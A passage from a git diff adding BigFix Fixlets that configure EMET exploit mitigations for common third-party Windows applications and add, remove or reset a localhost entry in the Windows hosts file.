+      <Mitigation Name="SimExecFlow"    Enabled="true" />
+      <Mitigation Name="StackPivot"     Enabled="true" />
+      <Mitigation Name="ASR"            Enabled="false" />
+    </Mitigations>
+  </DefaultConfig>
+
+  <Settings>
+    <ExploitAction Value="StopProgram" />
+    <AdvancedSettings DeepHooks="True" AntiDetours="True" BannedFunctions="True" />
+  </Settings>
+
+  <!--
+  ******************************************************************************************************************
+  Suites and programs definitions
+  ******************************************************************************************************************
+  -->
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Google">
+    <Product Name="Chrome">
+      <Version Arch="x86" Path="*\Google\Chrome\Application\chrome.exe">
+        <Mitigation Name="SEHOP" Enabled="true" MinOS="6.1"/>
+        <Mitigation Name="EAF+" Enabled="false">
+          <eaf_modules>chrome_child.dll</eaf_modules>
+        </Mitigation>
+
+      </Version>
+    </Product>
+
+    <Product Name="Google Talk">
+      <Version Arch="x86" Path="*\Google\Google Talk\googletalk.exe">
+        <Mitigation Name="DEP" Enabled="false" />
+        <Mitigation Name="SEHOP" Enabled="true" MinOS="6.1"/>
+      </Version>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Mozilla">
+    <Suite Name="FireFox" Arch="x86">
+      <App Name="Browser" Path="*\Mozilla Firefox\firefox.exe">
+        <Mitigation Name="EAF+" Enabled="true">
+          <eaf_modules>mozjs.dll;xul.dll</eaf_modules>
+        </Mitigation>
+      </App>
+      <App Name="Plugin container" Path="*\Mozilla Firefox\plugin-container.exe"/>
+    </Suite>
+
+    <Suite Name="Thunderbird" Arch="x86">
+      <App Name="Mail client" Path="*\Mozilla Thunderbird\thunderbird.exe"/>
+      <App Name="Plugin container" Path="*\Mozilla Thunderbird\plugin-container.exe"/>
+    </Suite>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Adobe">
+
+    <!-- Adobe Photoshop CS ALL-->
+    <Product Name="Photoshop">
+      <Version Name="Photoshop" Path="*\Adobe\Adobe Photoshop CS*\Photoshop.exe"/>
+    </Product>
+
+    <!-- Adobe Acrobat and Acrobat Reader 8,9,10,11 -->
+    <Product Name="Acrobat Reader">
+      <Version Name="Acrobat Reader" Path="*\Adobe\*\Reader\AcroRd32.exe">
+        <Mitigation Name="EAF+" Enabled="true">
+          <eaf_modules>AcroRd32.dll;Acrofx32.dll;AcroForm.api</eaf_modules>
+        </Mitigation>
+      </Version>
+    </Product>
+    <Product Name="Acrobat">
+      <Version Name="Acrobat" Path="*\Adobe\Acrobat*\Acrobat\Acrobat.exe">
+        <Mitigation Name="EAF+" Enabled="true">
+          <eaf_modules>AcroRd32.dll;Acrofx32.dll;AcroForm.api</eaf_modules>
+        </Mitigation>
+      </Version>
+    </Product>
+
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Nullsoft">
+    <Product Name="Winamp">
+      <Version Arch="x86" Path="*\Winamp\winamp.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Opera Software ASA">
+    <Product Name="Opera Browser">
+      <Version Arch="x86" Path="*\Opera\opera.exe"/>
+    </Product>
+  </Vendor>
+  <Vendor Name="Opera Software ASA">
+    <Product Name="Opera Browser">
+      <Version Arch="x86" Path="*\Opera\*\opera.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="RAR Labs">
+    <Suite Name="WinRAR">
+      <App Name="GUI" Path="*\WinRAR\winrar.exe"/>
+      <App Name="Console" Path="*\WinRAR\rar.exe"/>
+      <App Name="Unrar" Path="*\WinRAR\unrar.exe"/>
+    </Suite>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="WinZip Computing">
+    <Product Name="WinZip (x86)">
+      <Version Arch="x86" Path="*\WinZip\winzip32.exe"/>
+    </Product>
+
+    <Product Name="WinZip (x64)">
+      <Version Arch="x64" Path="*\WinZip\winzip64.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="VideoLAN">
+    <Product Name="VLC">
+      <Version Arch="x86" Path="*\VideoLAN\VLC\vlc.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Real Networks">
+    <Suite Name="RealPlayer" Arch="x86">
+      <App Name="Converter" Path="*\Real\RealPlayer\realconverter.exe"/>
+      <App Name="Player" Path="*\Real\RealPlayer\realplay.exe"/>
+    </Suite>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="mIRC Co">
+    <Product Name="mIRC">
+      <Version Arch="x86" Path="*\mIRC\mirc.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="7-Zip">
+    <Suite Name="7-Zip">
+      <App Name="Console command line" Path="*\7-Zip\7z.exe">
+        <Mitigation Name="EAF" Enabled="false" />
+      </App>
+      <App Name="GUI command line" Path="*\7-Zip\7zG.exe">
+        <Mitigation Name="EAF" Enabled="false" />
+      </App>
+      <App Name="File manager" Path="*\7-Zip\7zFM.exe">
+        <Mitigation Name="EAF" Enabled="false" />
+      </App>
+    </Suite>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Apple">
+    <Product Name="Safari">
+      <Version Arch="x86" Path="*\Safari\Safari.exe"/>
+    </Product>
+
+    <Product Name="QuickTime">
+      <Version Arch="x86" Path="*\QuickTime\QuickTimePlayer.exe"/>
+    </Product>
+
+    <Product Name="iTunes">
+      <Version Path="*\iTunes\iTunes.exe"/>
+    </Product>
+
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Pidgin">
+    <Product Name="Pidgin">
+      <Version Arch="x86" Path="*\Pidgin\pidgin.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Oracle">
+      <Suite Name="Java">
+          <App Name="Console" Path="*\Java\jre*\bin\java.exe">
+              <Mitigation Name="HeapSpray" Enabled="false" />
+          </App>
+          <App Name="GUI" Path="*\Java\jre*\bin\javaw.exe">
+              <Mitigation Name="HeapSpray" Enabled="false" />
+          </App>
+          <App Name="Web Start" Path="*\Java\jre*\bin\javaws.exe">
+              <Mitigation Name="HeapSpray" Enabled="false" />
+          </App>
+      </Suite>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Foxit">
+    <Product Name="Foxit Reader">
+      <Version Arch="x86" Path="*\Foxit Reader\Foxit Reader.exe"/>
+    </Product>
+  </Vendor>
+
+</EMET_Standard_Rules>
+_end_
+
+move __createfile defaults.xml
+
+waithidden "{parameter "emetconfexe"}" --import defaults.xml]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Popular Third-Party Mitigations without EAF - Windows (20898).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Popular Third-Party Mitigations without EAF - Windows (20898).bes
new file mode 100644
index 000000000..adc754428
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Popular Third-Party Mitigations without EAF - Windows (20898).bes	
@@ -0,0 +1,308 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - EMET Rules - Enable Popular Third-Party Mitigations without EAF - Windows
+  ID       : 20898
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-07T23:20:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - EMET Rules - Enable Popular Third-Party Mitigations without EAF - Windows</Title>
+    <Description><![CDATA[<P>This policy sets the default application mitigations for various Microsoft applications within EMET.</P>
+<P>Specifically it configures EMET to detect exploits for the following applications:</P>
+<UL>
+<LI>7-Zip
+<LI>Adobe Acrobat
+<LI>Adobe Reader
+<LI>Adobe Photoshop
+<LI>Apple Safari
+<LI>Apple Quicktime
+<LI>Apple iTunes
+<LI>FoxIT Reader
+<LI>Google Chrome
+<LI>Google Talk
+<LI>Java
+<LI>mIRC
+<LI>Mozilla Firefox
+<LI>Mozilla Thunderbird
+<LI>Opera Browser
+<LI>Pidgin
+<LI>Real Player
+<LI>VLC
+<LI>Winamp
+<LI>WinRAR
+<LI>WinZIP</LI></UL>
+<P>This Fixlet in particular excludes ALL EAF configurations.</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists file &quot;emet_conf.exe&quot; of folder whose (name of it starts with &quot;EMET&quot;) of program files x32 folder</Relevance>
+    <Relevance><![CDATA[(version of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder) > "5.5.0.0" as version]]></Relevance>
+    <Relevance>(size of (set of (&quot;*\Adobe\*\Reader\AcroRd32.exe&quot;;&quot;*\Adobe\Acrobat*\Acrobat\Acrobat.exe&quot;;&quot;*\Java\jre*\bin\java.exe&quot;;&quot;*\Java\jre*\bin\javaw.exe&quot;;&quot;*\Java\jre*\bin\javaws.exe&quot;;&quot;*\Google\Chrome\Application\chrome.exe&quot;;&quot;*\Google\Google Talk\googletalk.exe&quot;;&quot;*\Mozilla Firefox\firefox.exe&quot;;&quot;*\Mozilla Firefox\plugin-container.exe&quot;;&quot;*\Mozilla Thunderbird\thunderbird.exe&quot;;&quot;*\Mozilla Thunderbird\plugin-container.exe&quot;;&quot;*\Adobe\Adobe Photoshop CS*\Photoshop.exe&quot;;&quot;*\Winamp\winamp.exe&quot;;&quot;*\Opera\opera.exe&quot;;&quot;*\Opera\*\opera.exe&quot;;&quot;*\WinRAR\winrar.exe&quot;;&quot;*\WinRAR\rar.exe&quot;;&quot;*\WinRAR\unrar.exe&quot;;&quot;*\WinZip\winzip32.exe&quot;;&quot;*\WinZip\winzip64.exe&quot;;&quot;*\VideoLAN\VLC\vlc.exe&quot;;&quot;*\Real\RealPlayer\realconverter.exe&quot;;&quot;*\Real\RealPlayer\realplay.exe&quot;;&quot;*\mIRC\mirc.exe&quot;;&quot;*\7-Zip\7z.exe&quot;;&quot;*\7-Zip\7zG.exe&quot;;&quot;*\7-Zip\7zFM.exe&quot;;&quot;*\Safari\Safari.exe&quot;;&quot;*\QuickTime\QuickTimePlayer.exe&quot;;&quot;*\iTunes\iTunes.exe&quot;;&quot;*\Pidgin\pidgin.exe&quot;;&quot;*\Foxit Reader\Foxit Reader.exe&quot;) - set of names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry) != 0) | true</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-06-06</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+
+parameter "emetconfexe"="{pathname of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder}"
+
+delete __createfile
+delete defaults.xml
+
+createfile until _end_
+<?xml version="1.0"?>
+<!--
+EMET Popular Software protections config.
+Enables protections for common software such as Internet Explorer, Microsof Office, Windows Media Player, Adobe Acrobat Reader, Java, WinZip, VLC, RealPlayer, QuickTime, Opera, etc.
+
+All applications will have the default mitigations applied to them unless specific mitigations are specified per application.
+Environment variable supported:
+- %ProgramFiles(x86)% - This maps to %ProgramFiles(x86)%. If it's not defined on the system, it will map to %ProgramFiles%.
+- %ProgramFiles% - This maps to %ProgramFiles%. If the Product's Arch property is x64, it will map to the 64 bit program files directory.
+- %Windir% - Windows directory
+- %LOCALAPPDATA% - User local data path
+- %APPDATA% - User roaming data path
+- All other environment variables
+- MinOS - when a mitigation is enabled (=true), it will be applied by default only if minimum OS version is equal or greater of the one specified
+
+Please refer to EMET User's Guide for detailed information on how to use wildcards "*"
+-->
+
+<EMET_Standard_Rules>
+
+  <!-- Default mitigations will be applied by default to configured programs unless each program explicity enables or disables certain mitigations -->
+  <DefaultConfig>
+    <Mitigations>
+      <Mitigation Name="DEP"            Enabled="true" />
+      <Mitigation Name="SEHOP"          Enabled="true" />
+      <Mitigation Name="NullPage"       Enabled="true" />
+      <Mitigation Name="HeapSpray"      Enabled="true" />
+      <Mitigation Name="EAF"            Enabled="false" />
+      <Mitigation Name="EAF+"           Enabled="false" />
+      <Mitigation Name="MandatoryASLR"  Enabled="true" />
+      <Mitigation Name="BottomUpASLR"   Enabled="true" />
+      <Mitigation Name="LoadLib"        Enabled="true" />
+      <Mitigation Name="MemProt"        Enabled="true" />
+      <Mitigation Name="Caller"         Enabled="true" />
+      <Mitigation Name="SimExecFlow"    Enabled="true" />
+      <Mitigation Name="StackPivot"     Enabled="true" />
+      <Mitigation Name="ASR"            Enabled="false" />
+    </Mitigations>
+  </DefaultConfig>
+
+  <Settings>
+    <ExploitAction Value="StopProgram" />
+    <AdvancedSettings DeepHooks="True" AntiDetours="True" BannedFunctions="True" />
+  </Settings>
+
+  <!--
+  ******************************************************************************************************************
+  Suites and programs definitions
+  ******************************************************************************************************************
+  -->
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Google">
+    <Product Name="Chrome">
+      <Version Arch="x86" Path="*\Google\Chrome\Application\chrome.exe">
+        <Mitigation Name="SEHOP" Enabled="true" MinOS="6.1"/>
+        <Mitigation Name="EAF+" Enabled="false">
+          <eaf_modules>chrome_child.dll</eaf_modules>
+        </Mitigation>
+
+      </Version>
+    </Product>
+
+    <Product Name="Google Talk">
+      <Version Arch="x86" Path="*\Google\Google Talk\googletalk.exe">
+        <Mitigation Name="DEP" Enabled="false" />
+        <Mitigation Name="SEHOP" Enabled="true" MinOS="6.1"/>
+      </Version>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Mozilla">
+    <Suite Name="FireFox" Arch="x86">
+      <App Name="Browser" Path="*\Mozilla Firefox\firefox.exe">
+        <Mitigation Name="EAF+" Enabled="false">
+          <eaf_modules>mozjs.dll;xul.dll</eaf_modules>
+        </Mitigation>
+      </App>
+      <App Name="Plugin container" Path="*\Mozilla Firefox\plugin-container.exe"/>
+    </Suite>
+
+    <Suite Name="Thunderbird" Arch="x86">
+      <App Name="Mail client" Path="*\Mozilla Thunderbird\thunderbird.exe"/>
+      <App Name="Plugin container" Path="*\Mozilla Thunderbird\plugin-container.exe"/>
+    </Suite>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Adobe">
+
+    <!-- Adobe Photoshop CS ALL-->
+    <Product Name="Photoshop">
+      <Version Name="Photoshop" Path="*\Adobe\Adobe Photoshop CS*\Photoshop.exe"/>
+    </Product>
+
+    <!-- Adobe Acrobat and Acrobat Reader 8,9,10,11 -->
+    <Product Name="Acrobat Reader">
+      <Version Name="Acrobat Reader" Path="*\Adobe\*\Reader\AcroRd32.exe">
+        <Mitigation Name="EAF+" Enabled="false">
+          <eaf_modules>AcroRd32.dll;Acrofx32.dll;AcroForm.api</eaf_modules>
+        </Mitigation>
+      </Version>
+    </Product>
+    <Product Name="Acrobat">
+      <Version Name="Acrobat" Path="*\Adobe\Acrobat*\Acrobat\Acrobat.exe">
+        <Mitigation Name="EAF+" Enabled="false">
+          <eaf_modules>AcroRd32.dll;Acrofx32.dll;AcroForm.api</eaf_modules>
+        </Mitigation>
+      </Version>
+    </Product>
+
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Nullsoft">
+    <Product Name="Winamp">
+      <Version Arch="x86" Path="*\Winamp\winamp.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Opera Software ASA">
+    <Product Name="Opera Browser">
+      <Version Arch="x86" Path="*\Opera\opera.exe"/>
+    </Product>
+  </Vendor>
+  <Vendor Name="Opera Software ASA">
+    <Product Name="Opera Browser">
+      <Version Arch="x86" Path="*\Opera\*\opera.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="RAR Labs">
+    <Suite Name="WinRAR">
+      <App Name="GUI" Path="*\WinRAR\winrar.exe"/>
+      <App Name="Console" Path="*\WinRAR\rar.exe"/>
+      <App Name="Unrar" Path="*\WinRAR\unrar.exe"/>
+    </Suite>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="WinZip Computing">
+    <Product Name="WinZip (x86)">
+      <Version Arch="x86" Path="*\WinZip\winzip32.exe"/>
+    </Product>
+
+    <Product Name="WinZip (x64)">
+      <Version Arch="x64" Path="*\WinZip\winzip64.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="VideoLAN">
+    <Product Name="VLC">
+      <Version Arch="x86" Path="*\VideoLAN\VLC\vlc.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Real Networks">
+    <Suite Name="RealPlayer" Arch="x86">
+      <App Name="Converter" Path="*\Real\RealPlayer\realconverter.exe"/>
+      <App Name="Player" Path="*\Real\RealPlayer\realplay.exe"/>
+    </Suite>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="mIRC Co">
+    <Product Name="mIRC">
+      <Version Arch="x86" Path="*\mIRC\mirc.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="7-Zip">
+    <Suite Name="7-Zip">
+      <App Name="Console command line" Path="*\7-Zip\7z.exe">
+        <Mitigation Name="EAF" Enabled="false" />
+      </App>
+      <App Name="GUI command line" Path="*\7-Zip\7zG.exe">
+        <Mitigation Name="EAF" Enabled="false" />
+      </App>
+      <App Name="File manager" Path="*\7-Zip\7zFM.exe">
+        <Mitigation Name="EAF" Enabled="false" />
+      </App>
+    </Suite>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Apple">
+    <Product Name="Safari">
+      <Version Arch="x86" Path="*\Safari\Safari.exe"/>
+    </Product>
+
+    <Product Name="QuickTime">
+      <Version Arch="x86" Path="*\QuickTime\QuickTimePlayer.exe"/>
+    </Product>
+
+    <Product Name="iTunes">
+      <Version Path="*\iTunes\iTunes.exe"/>
+    </Product>
+
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Pidgin">
+    <Product Name="Pidgin">
+      <Version Arch="x86" Path="*\Pidgin\pidgin.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Oracle">
+      <Suite Name="Java">
+          <App Name="Console" Path="*\Java\jre*\bin\java.exe">
+              <Mitigation Name="HeapSpray" Enabled="false" />
+          </App>
+          <App Name="GUI" Path="*\Java\jre*\bin\javaw.exe">
+              <Mitigation Name="HeapSpray" Enabled="false" />
+          </App>
+          <App Name="Web Start" Path="*\Java\jre*\bin\javaws.exe">
+              <Mitigation Name="HeapSpray" Enabled="false" />
+          </App>
+      </Suite>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Foxit">
+    <Product Name="Foxit Reader">
+      <Version Arch="x86" Path="*\Foxit Reader\Foxit Reader.exe"/>
+    </Product>
+  </Vendor>
+
+</EMET_Standard_Rules>
+_end_
+
+move __createfile defaults.xml
+
+waithidden "{parameter "emetconfexe"}" --import defaults.xml]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Add 127.0.0.1 FQDN - Windows (23379).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Add 127.0.0.1 FQDN - Windows (23379).bes
new file mode 100644
index 000000000..7ea924c0d
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Add 127.0.0.1 FQDN - Windows (23379).bes	
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Hosts File - Add 127.0.0.1 FQDN - Windows
+  ID       : 23379
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-01T19:23:10
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Hosts File - Add 127.0.0.1 FQDN - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet adds the BigFix Managed&nbsp;"127.0.0.1 this.machines.hostname" to the hosts file on the machine.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists (it contains &quot;127.0.0.1&quot; and it contains dns name as lowercase) of lines containing &quot;#BigFixManagedEntry&quot; of file &quot;hosts&quot; of folder &quot;drivers\etc&quot; of system x64 folder</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-01-31</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+parameter &quot;Hosts&quot;=&quot;{pathname of folder &quot;drivers\etc&quot; of system x64 folder}\hosts&quot;
+parameter &quot;HostsBackup&quot;=&quot;{pathname of folder &quot;drivers\etc&quot; of system x64 folder}\hosts.old&quot;
+
+delete __createfile
+
+createfile until _end_
+{(lines whose (it does not contain &quot;#BigFixManagedEntry&quot;) of files (parameter &quot;Hosts&quot;))}
+127.0.0.1  {dns name as lowercase}  &quot;  #BigFixManagedEntry&quot;
+_end_
+
+if {exists file (parameter &quot;Hosts&quot;)}
+	delete &quot;{parameter &quot;HostsBackup&quot;}&quot;
+	move &quot;{parameter &quot;Hosts&quot;}&quot; &quot;{parameter &quot;HostsBackup&quot;}&quot;
+endif
+
+copy __createfile &quot;{parameter &quot;Hosts&quot;}&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Remove 127.0.0.1 FQDN - Windows (23380).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Remove 127.0.0.1 FQDN - Windows (23380).bes
new file mode 100644
index 000000000..dc93d0e68
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Remove 127.0.0.1 FQDN - Windows (23380).bes	
@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Hosts File - Remove 127.0.0.1 FQDN - Windows
+  ID       : 23380
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-01T19:23:18
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Hosts File - Remove 127.0.0.1 FQDN - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet removes the BigFix Managed&nbsp;"127.0.0.1 this.machines.hostname" from the hosts file on the machine.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists (it contains &quot;127.0.0.1&quot; and it contains dns name as lowercase) of lines containing &quot;#BigFixManagedEntry&quot; of file &quot;hosts&quot; of folder &quot;drivers\etc&quot; of system x64 folder</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-01-31</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+parameter &quot;Hosts&quot;=&quot;{pathname of folder &quot;drivers\etc&quot; of system x64 folder}\hosts&quot;
+parameter &quot;HostsBackup&quot;=&quot;{pathname of folder &quot;drivers\etc&quot; of system x64 folder}\hosts.old&quot;
+
+delete __createfile
+
+createfile until _end_
+{(lines whose (it does not contain &quot;#BigFixManagedEntry&quot;) of files (parameter &quot;Hosts&quot;))}
+_end_
+
+if {exists file (parameter &quot;Hosts&quot;)}
+	delete &quot;{parameter &quot;HostsBackup&quot;}&quot;
+	move &quot;{parameter &quot;Hosts&quot;}&quot; &quot;{parameter &quot;HostsBackup&quot;}&quot;
+endif
+
+copy __createfile &quot;{parameter &quot;Hosts&quot;}&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Reset to Default - Windows (23381).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Reset to Default - Windows (23381).bes
new file mode 100644
index 000000000..b52a0bee6
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Hosts File - Reset to Default - Windows (23381).bes	
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Hosts File - Reset to Default - Windows
+  ID       : 23381
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-01T19:23:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Hosts File - Reset to Default - Windows</Title>
+    <Description>This Fixlet resets the hosts file to its default configuration on Windows.</Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists (lines whose (it does not contain &quot;#&quot; and it does not equal &quot;&quot;) of file &quot;hosts&quot; of folder &quot;drivers\etc&quot; of system x64 folder)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-01-31</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+parameter &quot;Hosts&quot;=&quot;{pathname of folder &quot;drivers\etc&quot; of system x64 folder}\hosts&quot;
+parameter &quot;HostsBackup&quot;=&quot;{pathname of folder &quot;drivers\etc&quot; of system x64 folder}\hosts.old&quot;
+
+delete __createfile
+
+createfile until _end_
+# Copyright (c) 1993-2009 Microsoft Corp.
+#
+# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
+#
+# This file contains the mappings of IP addresses to host names. Each
+# entry should be kept on an individual line. The IP address should
+# be placed in the first column followed by the corresponding host name.
+# The IP address and the host name should be separated by at least one
+# space.
+#
+# Additionally, comments (such as these) may be inserted on individual
+# lines or following the machine name denoted by a &apos;#&apos; symbol.
+#
+# For example:
+#
+#      102.54.94.97     rhino.acme.com          # source server
+#       38.25.63.10     x.acme.com              # x client host
+
+# localhost name resolution is handled within DNS itself.
+#	127.0.0.1       localhost
+#	::1             localhost
+_end_
+
+if {exists file (parameter &quot;Hosts&quot;)}
+	delete &quot;{parameter &quot;HostsBackup&quot;}&quot;
+	move &quot;{parameter &quot;Hosts&quot;}&quot; &quot;{parameter &quot;HostsBackup&quot;}&quot;
+endif
+
+copy __createfile &quot;{parameter &quot;Hosts&quot;}&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Hyper-V Platform - Disable - Windows (20654).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Hyper-V Platform - Disable - Windows (20654).bes
new file mode 100644
index 000000000..4072f0cab
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Hyper-V Platform - Disable - Windows (20654).bes	
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Hyper-V Platform - Disable - Windows
+  ID       : 20654
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-17T15:28:34
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
